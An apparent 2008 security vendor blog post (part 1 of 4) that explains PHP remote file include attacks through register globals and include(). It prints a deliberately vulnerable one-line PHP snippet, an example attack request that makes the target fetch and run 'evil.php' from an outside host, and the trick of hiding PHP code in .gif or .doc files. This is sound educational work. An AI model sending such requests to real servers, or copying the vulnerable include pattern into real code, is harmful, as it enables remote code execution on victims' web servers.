TippingPoint Digital Vaccine Laboratories

PHP File Include Attacks (Part 1 of 4)

It's true. when polled, 4 out of 4 PHP programmers admit their mothers never once warned them about the dangers of PHP file include vulnerabilities. This is the statistic I use to explain why there are such impressively large numbers of vulnerable PHP applications. But, while lack of motherly guidance is a likely factor, the bigger picture is more complicated. For instance, while PHP file include attacks represented over 20% of all osvdb entries for 2006, there isn't even mention of this type of vulnerability in the security section of the official PHP manual. So what are these attacks, and why should anyone care about them?

To answer this we must start with the basics. PHP file include vulnerabilities (sometimes called RFIs) are a form of code injection vulnerabilities that arise from the abuse of a few unfortunate features of PHP. By leveraging these features, an attacker has the ability to inject code from an external source directly into the vulnerable application. Got that? If not, let me say it this way.  PHP has made it easy for a programmer to write an application in such a way that allows attackers to 'tack on' malicious code to the now-unfortunate programmer's code.  Scary, huh?  So how can this happen? Well, to answer that we must first look at some features of PHP, namely "register globals" and the include() function's ability to handle more than just local files.

Register globals is a feature that has been in PHP for ages. Its purpose is to make the life of the PHP developer easy by automatically populating local variables with values that the programmer is likely to want, such as information about the incoming HTTP request. This is usually helpful, but register globals goes one step further and lets users create and populate uninitilized variables remotely.  All the user needs to do is send a name value pair in the URL, and register globals will create a (not previously initialized) variable with that name and set it to the value provided. For instance in this URL 'http://www.example.com/a.php?name=value'  a variable called $name would be created and would contain the string 'value'. Unfortunately, this feature can make it easy to alter the logical flow of a program by allowing an attacker to populate variables with values the programmer was not expecting.

But while it is loads of fun to change the flow of an application, in most cases it doesn't really buy you much. Sure, you can sometimes bypass authentication routines, but in general you can't make the application do anything it wasn't already designed to do. That is without the help of the include() set of functions.

The include() functions are designed to help programmers increase code reuse and to help with version control. Specifically, they allow app developers break a large PHP application into small files. These files can then be glued together using the include() function. By passing filenames into the include() function, PHP will, in essence, copy the contents of the small file into the main program and execute it.

The include() function is a wonderful thing, but unfortunately, PHP has extended the include function to accept not only local filenames as input, but a number of different protocol handlers as well. In the most notorious of cases, any string passed to the include() function that starts with 'http://' will be automatically interpreted as an HTTP URI. Upon receiving such a string, PHP will make its best effort to make an HTTP request to the supplied link, retrieve the file, and execute it as if it was part of the parent script.

So let’s recap. Because an attacker can remotely stuff values into local variables via register globals, and because the include() functions will retrieve remote files that start with 'http://'; an attacker can run malicious code on the target by stuffing a link to his code into a variable that is passed to an include() function. This probably seem a little confusing, so let’s look at an example.  Take this simple PHP file (a.php):

<?php include($vuln); ?>

Because this file does not set the $vuln variable to anything explicit, the attacker can initialize this $vuln variable to anything he or she wants by simply making an HTTP request with that variable name in the URI. To see what is happening conceptually, let’s look at a flow diagram of this attack:

 

.----------.   1.) GET /a.php?vuln=http://webhost.com/evil.php   .--------.
|          |  -------------->----------------->--------------->  |        |
| Attacker |                                                     | Target |
|          |   4.) Output of evil.php is sent to the attacker    |        |
.----------.  <------------<-------------<---------------------  .--------.                                   
                                                                  
|    ^
                                                                  
|    |
         
                                                         |    |
.-------------.                                                    |    |                           
|             |   2.) Target makes request to webhost.com/evil.php |    |
| webhost.com |  <-----------<---------<---------<-----------------.    |
|             |                                                         ^
.-------------.                                                         |
      
|                                                                |
      
|  3.) The malicious PHP file 'evil.php' is sent to the Target   |
      
.------->----------->---------->---------------->----------------.
             
and is executed by the include() function.
                

To further explain what is happening, I'll explain each stage separately:

  1. This is the initial HTTP request to the Target web server. In this case the request is for a vulnerable page (a.php) and is sending a link to webhost.com inside vulnerable parameter (vuln.)
  2. Upon receiving the request from the attacker, the poorly configured PHP server takes the 'vuln' parameter and populates a local variable '$vuln' in the a.php script. Because a.php happens to pass the contents of '$vuln' into an include function, the Target tries to include the file 'http://webhost.com/evil.php'.
  3. Once again, because the PHP server is poorly configured, PHP will make an HTTP request to the http link in $vuln, and will happily execute whatever comes back. It should be noted that in an attack scenario, what comes back from webhost.com needs to be RAW PHP code. For this reason many attackers host their malicious PHP inside .gif or .doc files to avoid PHP interpreters on the hosting site.
  4. After the malicious PHP code has been executed on the Target, the output is rendered out to the attacker. There is no raw PHP at this stage, only text/html.

And there you have it. With a single HTTP request the attacker has executed some PHP code on the target web server. If things still seem a little fuzzy, I have included a Pcap of an example attack to this post. You will need a pcap viewer such as Wireshark to view this.

So, by now you should know how exactly how a PHP file include attack is carried out, step by step. You should also have a feeling that while PHP is fast, reliable, and nearly ubiquitous, there are some very serious considerations that need to be made prior to writing an application. In part 2 of this post, we will explore all the different types of payloads that we see attackers are using with these exploits.



Tags: PHP file include vulnerabilities
Published On: 2008-02-04 16:16:58

Comments post a comment

No comments.

Links To This Post

  1. PHP Coding School » Blog Archive » php code [2008-02-05 01:42:11]
    linked on 2008-02-04 @ 19:57 Show Comment

    PHP File Include Attacks (Part 1 of 4) It should be noted that in an attack scenario, what comes back from webhost.com needs to be RAW PHP code. For this reason many attackers host their malicious PHP inside .gif or .doc files to avoid PHP interpreters on the hosting site. … - http://dvlabs.tippingpoint.com/blog/


Trackback